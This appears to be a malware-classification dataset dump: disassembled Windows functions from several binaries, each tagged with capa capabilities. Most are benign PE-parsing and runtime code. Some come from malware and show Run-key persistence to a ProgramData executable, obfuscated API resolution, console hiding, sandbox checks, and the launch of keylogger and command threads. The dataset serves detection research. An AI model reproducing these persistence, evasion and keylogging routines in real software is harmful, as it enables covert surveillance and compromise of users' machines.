joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400025b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004590]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400025cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400025d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400025f0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004590]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002610
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002618
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002610
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002610
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002664
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002670
add rdx, 0x28
cmp r9, rdx
jne 0x140002650
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002680
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140004590]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400026a2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x1400026b0
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400026a2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400026a2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400026a2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002705
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002718
add rdx, 0x28
cmp rdx, r10
jne 0x1400026f0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002727
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002737
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000270e
test ecx, ecx
jg 0x140002720
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140001585
Capabilities:
Copy file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileW]
call rax
add rsp, 0x20
pop rbp
ret

Function at 0x1400015b5
Capabilities:
Delete file

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileW]
call rax
add rsp, 0x20
pop rbp
ret
Function at 0x140001f7d
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov edx, 0
lea rax, str.ConsoleWindowClass
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 5
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140002022
Capabilities:
Persist via run registry key

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
call fcn.140001fbd
lea rax, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rdx, rax
lea rax, str._s_n_n
mov rcx, rax
call fcn.140001493
lea rax, str._setup
mov qword [rbp - 0x30], rax
lea rax, str._C:ProgramData_setup.exe_
mov qword [rbp - 0x28], rax
lea rax, str.advapi32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x1400020a9
mov ecx, 2
mov rax, qword [fcn.14000dcc0]
call rax
mov rcx, rax
lea rax, str.Failed_to_load_advapi32.dll_n
mov rdx, rax
call fcn.140001450
jmp 0x1400021f8
lea rax, str.WjlTujsPjJF
mov rcx, rax
call fcn.1400015d7
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x18], rax
lea rax, str.WjlXjy_fqzjJF
mov rcx, rax
call fcn.1400015d7
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 0x10], rax
lea rax, str.WjlXjy_fqzjJF
mov rcx, rax
call fcn.1400015d7
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 0x18], 0
je 0x140002130
cmp qword [rbp - 0x10], 0
je 0x140002130
cmp qword [rbp - 8], 0
jne 0x140002155
mov ecx, 2
mov rax, qword [fcn.14000dcc0]
call rax
mov rcx, rax
lea rax, str.Failed_to_resolve_necessary_functions_n
mov rdx, rax
call fcn.140001450
jmp 0x1400021f8
mov rax, qword [rbp - 0x38]
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r10, qword [rbp - 0x18]
mov r9d, 2
mov r8d, 0
mov rdx, rax
mov rcx, 0xffffffff80000001
call r10
mov dword [rbp - 0x44], eax
cmp dword [rbp - 0x44], 0
jne 0x1400021d1
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sub.msvcrt.dll_strlen
lea ecx, [rax + 1]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
mov dword [rsp + 0x28], ecx
mov rcx, qword [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov r10, qword [rbp - 0x10]
mov r9d, 1
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 8]
mov rcx, rax
call rdx
jmp 0x1400021f8
mov ecx, 2
mov rax, qword [fcn.14000dcc0]
call rax
mov rcx, rax
mov eax, dword [rbp - 0x44]
mov r8d, eax
lea rax, str.Failed_to_open_registry_key._Error_code:__ld_n
mov rdx, rax
call fcn.140001450
nop
sub rsp, 0xffffffffffffff80
pop rbp
ret
Function at 0x140004c7f
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, str.SHELL
mov qword [rbp - 0x20], rax
lea rax, str.LD_LIBRARY_PATH
mov qword [rbp - 0x18], rax
lea rax, str.JAVA_HOME
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x24], 0
jmp 0x140004cd3
mov eax, dword [rbp - 0x24]
cdqe
mov rax, qword [rbp + rax*8 - 0x20]
mov rcx, rax
call sub.msvcrt.dll_getenv
test rax, rax
je 0x140004ccf
mov eax, 1
jmp 0x140004ce0
add dword [rbp - 0x24], 1
mov eax, dword [rbp - 0x24]
cmp eax, 2
jbe 0x140004cb1
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140004dd1
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call fcn.140005360
mov dword [rbp - 0x24], 0
call fcn.140004c24
cmp eax, 1
jne 0x140004df6
mov dword [rbp - 0x24], 1
call fcn.140004091
cmp eax, 1
jne 0x140004e07
mov dword [rbp - 0x24], 1
call fcn.140004c7f
cmp eax, 1
jne 0x140004e18
mov dword [rbp - 0x24], 1
call fcn.140004ce6
cmp eax, 1
jne 0x140004e29
mov dword [rbp - 0x24], 1
cmp dword [rbp - 0x24], 0
jne 0x140004f98
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [0x14001b448], rax
mov rax, qword [0x14001b448]
test rax, rax
jne 0x140004e83
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateMutex_error:__d_n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x140004f9d
call fcn.140001f7d
call fcn.140004226
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x14000494a]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x140004ee2
lea rax, str.Failed_to_create_keylogger_thread._n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x140004f9d
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140004be7]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140004f34
lea rax, str.Failed_to_create_command_thread._n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x140004f9d
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x10]
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x14001b448]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140005570
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14000dcc0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14000dcc0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400055e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001b4e4]
mov rbx, rcx
test esi, esi
jle 0x140005710
mov rax, qword [0x14001b4e8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000562b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400056b5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140005610
mov rcx, rbx
call fcn.140006050
mov rdi, rax
test rax, rax
je 0x140005732
mov rax, qword [0x14001b4e8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140006190
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001b4e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140005717
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x1400056ae
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x1400056c0
add dword [0x14001b4e4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001b4e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400056ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140005570
nop dword [rax]
xor esi, esi
jmp 0x140005638
mov rax, qword [0x14001b4e8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140005570
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140005570
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140005cc0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001b540]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001b520]
test rbx, rbx
je 0x140005d1c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140005d13
test eax, eax
jne 0x140005d13
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140005cf8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140006050
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140011f10]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140006070
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140006078
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140006070
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400060cd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400060c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140006070
add rax, 0x28
cmp rax, r9
jne 0x1400060b0
xor eax, eax
ret

Function at 0x1400060d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140011f10]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400060ef
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400060f8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400060ef
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140006190
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140011f10]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400061af
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400061b8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1406cf24d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
dec ax
ror ecx, 0x48
not ax
sal cx, 0xe8
bt rcx, rcx
xor r10w, ax
neg cx
mov qword [rsp + rcx - 0x43970000], rcx
lea rax, [rsp + rax + 0x10]
mov ecx, dword [rax + rcx - 0x43970000]
sbb r9, 4
not qword [rsp + 1]
jmp 0x14070a7e1
lea rsp, [rsp + 0x20]
jmp fcn.1406ef8f3
push 0x4e281506
mov dword [r9], ecx
push 0xffffffffd0b54ab5
jmp 0x1407064ab

Function at 0x1406d154c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0x420eb88f
push 0x15baa43a
lea rsp, [rsp + 0x40]
js fcn.1406c96e4
call fcn.1406f5b70
push 0xffffffff9abd61ba
mov word [rsp + 0x17], 0xbcb5
mov word [rsi], cx
jp 0x1406c2580

Function at 0x1406d2a79
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0xffffffffed39ff18
xor r10, r11
sub r9, 8
push 0x11a35629
push 0x1f1f9294
mov qword [r9], r11
push 0x13ae5909
mov byte [rsp + 7], 0x8d
push 0xffffffffef386d92
lea rsp, [rsp + 0x40]
jmp fcn.1406ef8f3

Function at 0x1406de0de
Capabilities:
Encrypt data using rc4 prga

Disassembly:
xor r10w, si
mov qword [rsp + 8], 0xffffffff98a0218c
mov qword [rsp + 0x18], 0x231e1b27
sub r9, 2
mov word [r9], si
lea rsp, [rsp + 0x30]
jmp fcn.1406ef8f3
Function at 0x140002ed0
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
and rsp, 0xfffffffffffffff0
xor r8, r8
push r8
push rax
pushfq
push r8
push rdx
sub rsp, 0xa8
push r8
push r15
push r14
push r13
push r12
push rbx
push r8
push rsi
push rdi
push rbp
push rax
push rdx
sub rsp, 0x290
movdqa xmmword [rsp + 0x2f0], xmm6
movdqa xmmword [rsp + 0x300], xmm7
movdqa xmmword [rsp + 0x310], xmm8
movdqa xmmword [rsp + 0x320], xmm9
movdqa xmmword [rsp + 0x330], xmm10
movdqa xmmword [rsp + 0x340], xmm11
movdqa xmmword [rsp + 0x350], xmm12
movdqa xmmword [rsp + 0x360], xmm13
movdqa xmmword [rsp + 0x370], xmm14
movdqa xmmword [rsp + 0x380], xmm15
mov eax, dword [0x1401607cc]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
lea rdx, [rsp + 0x20]
xor r8, r8
mov qword [rdx + 0x10], r8
mov byte [rdx + 0x19], 1
mov dword [rdx + 0x1c], 0xffffffff
mov byte [rdx + 0x18], 2
mov r8, qword [rax + 0x80]
mov qword [rdx], r8
mov qword [rax + 0x80], rdx
lea r8, [rsp + 0x290]
mov qword [rdx + 8], r8
call fcn.14008f9d0
int3
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xd8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
mov qword [rsp + 0x130], r8
mov qword [rsp + 0x138], r9
mov eax, dword [0x1401607cc]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
mov qword [rsp + 0xc0], rax
cmp rcx, qword [rax + 0x88]
sete byte [rsp + 0xd0]
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [r8 + 0x18]
mov rbx, qword [rax]
mov rax, qword [r8 + 0x20]
mov rbp, qword [rax]
mov rax, qword [r8 + 0x28]
mov rsi, qword [rax]
mov rax, qword [r8 + 0x30]
mov rdi, qword [rax]
mov rax, qword [r8 + 0x58]
mov r12, qword [rax]
mov rax, qword [r8 + 0x60]
mov r13, qword [rax]
mov rax, qword [r8 + 0x68]
mov r14, qword [rax]
mov rax, qword [r8 + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [r8 + 0x90]
movdqa xmm7, xmmword [r8 + 0xa0]
movdqa xmm8, xmmword [r8 + 0xb0]
movdqa xmm9, xmmword [r8 + 0xc0]
movdqa xmm10, xmmword [r8 + 0xd0]
movdqa xmm11, xmmword [r8 + 0xe0]
movdqa xmm12, xmmword [r8 + 0xf0]
movdqa xmm13, xmmword [r8 + 0x100]
movdqa xmm14, xmmword [r8 + 0x110]
movdqa xmm15, xmmword [r8 + 0x120]
mov rcx, qword [r8 + 0x78]
mov rdx, qword [rsp + 0x120]
call qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rdx + 0x70]
cmp rcx, 0
je 0x140003060
mov r9, qword [rdx + 0x68]
mov qword [r9], rcx
mov qword [rdx + 0x68], 0
mov qword [rdx + 0x70], 0
mov rcx, qword [rsp + 0x138]
mov r8, qword [r8 + 0x78]
xor r9d, r9d
mov rcx, qword [rcx]
cmp rcx, r9
je 0x14000307c
cmp rcx, r8
jl 0x14000306f
mov qword [rdx + 0x80], rcx
test dword [0x1401582e8], 1
je 0x1400030ab
cmp byte [rsp + 0xd0], 0
je 0x1400030ab
mov rcx, 0x43
mov rdx, rax
mov rsp, r8
jmp 0x140002bd0
mov rsp, r8
jmp rax
Function at 0x1400030b0
Capabilities:
Access peb ldr_data

Disassembly:
push r15
push r14
push r13
push r12
push rbx
push rsi
push rdi
push rbp
sub rsp, 0xc8
movdqa xmmword [rsp + 0x20], xmm6
movdqa xmmword [rsp + 0x30], xmm7
movdqa xmmword [rsp + 0x40], xmm8
movdqa xmmword [rsp + 0x50], xmm9
movdqa xmmword [rsp + 0x60], xmm10
movdqa xmmword [rsp + 0x70], xmm11
movdqa xmmword [rsp + 0x80], xmm12
movdqa xmmword [rsp + 0x90], xmm13
movdqa xmmword [rsp + 0xa0], xmm14
movdqa xmmword [rsp + 0xb0], xmm15
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rdx
mov eax, dword [0x1401607cc]
mov rbx, qword gs:[0x58]
mov rbx, qword [rbx + rax*8]
mov eax, 0x30
add rax, rbx
mov qword [rsp + 0xc0], rax
lock and dword [rax + 0x38], 0xffffffef
mov rax, qword [rdx + 0x18]
mov rbx, qword [rax]
mov rax, qword [rdx + 0x20]
mov rbp, qword [rax]
mov rax, qword [rdx + 0x28]
mov rsi, qword [rax]
mov rax, qword [rdx + 0x30]
mov rdi, qword [rax]
mov rax, qword [rdx + 0x58]
mov r12, qword [rax]
mov rax, qword [rdx + 0x60]
mov r13, qword [rax]
mov rax, qword [rdx + 0x68]
mov r14, qword [rax]
mov rax, qword [rdx + 0x70]
mov r15, qword [rax]
movdqa xmm6, xmmword [rdx + 0x90]
movdqa xmm7, xmmword [rdx + 0xa0]
movdqa xmm8, xmmword [rdx + 0xb0]
movdqa xmm9, xmmword [rdx + 0xc0]
movdqa xmm10, xmmword [rdx + 0xd0]
movdqa xmm11, xmmword [rdx + 0xe0]
movdqa xmm12, xmmword [rdx + 0xf0]
movdqa xmm13, xmmword [rdx + 0x100]
movdqa xmm14, xmmword [rdx + 0x110]
movdqa xmm15, xmmword [rdx + 0x120]
mov rcx, qword [rdx + 0x78]
call qword [rsp + pe_nt_image_headers64]
mov rdx, qword [rsp + 0x118]
mov rax, qword [rdx + 0x18]
mov qword [rax], rbx
mov rax, qword [rdx + 0x20]
mov qword [rax], rbp
mov rax, qword [rdx + 0x28]
mov qword [rax], rsi
mov rax, qword [rdx + 0x30]
mov qword [rax], rdi
mov rax, qword [rdx + 0x58]
mov qword [rax], r12
mov rax, qword [rdx + 0x60]
mov qword [rax], r13
mov rax, qword [rdx + 0x68]
mov qword [rax], r14
mov rax, qword [rdx + 0x70]
mov qword [rax], r15
movdqa xmmword [rdx + 0x90], xmm6
movdqa xmmword [rdx + 0xa0], xmm7
movdqa xmmword [rdx + 0xb0], xmm8
movdqa xmmword [rdx + 0xc0], xmm9
movdqa xmmword [rdx + 0xd0], xmm10
movdqa xmmword [rdx + 0xe0], xmm11
movdqa xmmword [rdx + 0xf0], xmm12
movdqa xmmword [rdx + 0x100], xmm13
movdqa xmmword [rdx + 0x110], xmm14
movdqa xmmword [rdx + 0x120], xmm15
mov rax, qword [rsp + 0xc0]
lock or dword [rax + 0x38], 0x10
movdqa xmm6, xmmword [rsp + 0x20]
movdqa xmm7, xmmword [rsp + 0x30]
movdqa xmm8, xmmword [rsp + 0x40]
movdqa xmm9, xmmword [rsp + 0x50]
movdqa xmm10, xmmword [rsp + 0x60]
movdqa xmm11, xmmword [rsp + 0x70]
movdqa xmm12, xmmword [rsp + 0x80]
movdqa xmm13, xmmword [rsp + 0x90]
movdqa xmm14, xmmword [rsp + 0xa0]
movdqa xmm15, xmmword [rsp + 0xb0]
add rsp, 0xc8
pop rbp
pop rdi
pop rsi
pop rbx
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x140010e10
Capabilities:
Get memory capacity

Disassembly:
mov qword [rsp + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0xc0
mov rax, qword [0x1401550c0]
xor rax, rsp
mov qword [rsp + 0xb0], rax
mov rsi, r9
mov rbx, r8
mov r14, rdx
mov rdi, rcx
test rcx, rcx
je 0x140010eff
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r8d, 0x48
lea rdx, [rsp + 0x60]
mov rcx, rax
call sub.KERNEL32.dll_K32GetProcessMemoryInfo
test eax, eax
je 0x140010eff
mov rdx, qword [rsp + 0x70]
test r14, r14
je 0x140010eda
xorps xmm0, xmm0
test rdx, rdx
js 0x140010e81
cvtsi2ss xmm0, rdx
jmp 0x140010e99
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x14013bbf0]
test rdi, rdi
js 0x140010eb3
cvtsi2ss xmm0, rdi
jmp 0x140010ecb
mov rax, rdi
mov rcx, rdi
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si rax, xmm1
mov dword [r14], eax
xor eax, eax
test rbx, rbx
je 0x140010ef1
cmp rdx, rdi
jbe 0x140010eeb
mov qword [rbx], rax
jmp 0x140010ef1
sub rdi, rdx
mov qword [rbx], rdi
test rsi, rsi
je 0x140010fc8
jmp 0x140010fc5
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rdx, qword [rsp + 0x48]
cmp rdx, qword [rsp + 0x28]
jae 0x140010fa2
test r14, r14
je 0x140010f91
mov rcx, rdx
xorps xmm0, xmm0
sub rcx, qword [rsp + 0x50]
js 0x140010f3b
cvtsi2ss xmm0, rcx
jmp 0x140010f50
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
cvtps2pd xmm1, xmm0
xorps xmm0, xmm0
mulsd xmm1, qword [0x14013bbf0]
test rdx, rdx
js 0x140010f6a
cvtsi2ss xmm0, rdx
jmp 0x140010f82
mov rax, rdx
mov rcx, rdx
shr rcx, 1
and eax, 1
or rcx, rax
cvtsi2ss xmm0, rcx
addss xmm0, xmm0
cvtps2pd xmm0, xmm0
divsd xmm1, xmm0
cvttsd2si rax, xmm1
mov dword [r14], eax
test rbx, rbx
je 0x140010f99
mov qword [rbx], rdx
test rsi, rsi
je 0x140010fc8
xor eax, eax
jmp 0x140010fc5
test r14, r14
je 0x140010fae
mov eax, dword [rsp + 0x24]
mov dword [r14], eax
test rbx, rbx
je 0x140010fbb
mov rax, qword [rsp + 0x30]
mov qword [rbx], rax
test rsi, rsi
je 0x140010fc8
mov rax, qword [rsp + 0x40]
mov qword [rsi], rax
mov rcx, qword [rsp + 0xb0]
xor rcx, rsp
call fcn.14005ff10
mov rbx, qword [rsp + 0xe0]
add rsp, 0xc0
pop r14
pop rdi
pop rsi
ret